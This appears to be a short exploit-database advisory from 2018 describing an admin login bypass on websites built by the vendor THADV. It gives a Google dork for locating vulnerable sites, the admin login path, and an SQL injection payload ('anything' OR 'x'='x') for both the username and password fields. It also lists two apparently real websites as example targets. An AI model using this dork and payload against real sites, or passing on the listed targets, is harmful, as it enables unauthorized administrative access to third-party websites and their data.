################################################################################################# # Exploit Title : Powered byJWA ©2016 Website designed by THADV Admin Login Bypass Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 25/06/2018 # Vendor Homepages : jwa.tw ~ thadv.com # Tested On : Windows # Category : WebApps # Exploit Risk : Medium # CWE : CWE-592 [ Authentication Bypass Issues ] ################################################################################################# # Google Dork : intext:''Powered byJWA ©2016 Website designed by THADV'' # Administration Login Path => /login_prod.php # Exploit : Username : anything' OR 'x'='x Password : anything' OR 'x'='x ################################################################################################# # Example Sites : dutypower.com/login_prod.php cmi-mkt.com/login_prod.php ################################################################################################ # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################